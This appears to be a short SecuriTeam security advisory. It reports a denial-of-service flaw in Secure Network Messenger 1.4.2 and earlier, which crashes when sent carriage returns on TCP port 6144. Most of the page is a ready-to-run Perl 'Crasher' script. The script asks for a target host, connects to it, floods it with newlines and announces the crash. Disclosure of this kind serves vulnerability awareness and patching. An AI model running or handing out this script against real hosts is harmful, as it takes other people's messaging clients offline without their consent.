SecuriTeam - Secure Network Messenger DoS

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

"Secure Network Messenger (SNM) - is a real time network communication program to send and receive messages from one computer to another without using dedicated servers."
As reported, Secure Network Messenger can be crashed by sending client large amount of carriage returns (\r\n). Presented here is proof of concept code to the vulnerability.

Credit:
The information has been provided by r`Futile.

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Vulnerable Systems:
* Secure Network Messenger Version 1.4.2 and prior.

Exploit Code:
#!/usr/bin/perl

use IO::Socket;
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
print ("\nEnter host to crash: ");
$h = <STDIN>;
chomp $h;
$socks = IO::Socket::INET->new(
        Proto => "tcp",
        PeerPort => "6144",
        PeerAddr => "$h"
) or die "\nNo response from host.";

sleep 1;
print "\nSuccesfully connected to $h!\n";
for ($count=1; $count<15; $count++)
{
print $socks "\n";
select(undef, undef, undef, 0.1);
}
print "\nMessenger crashed.";
close $socks;

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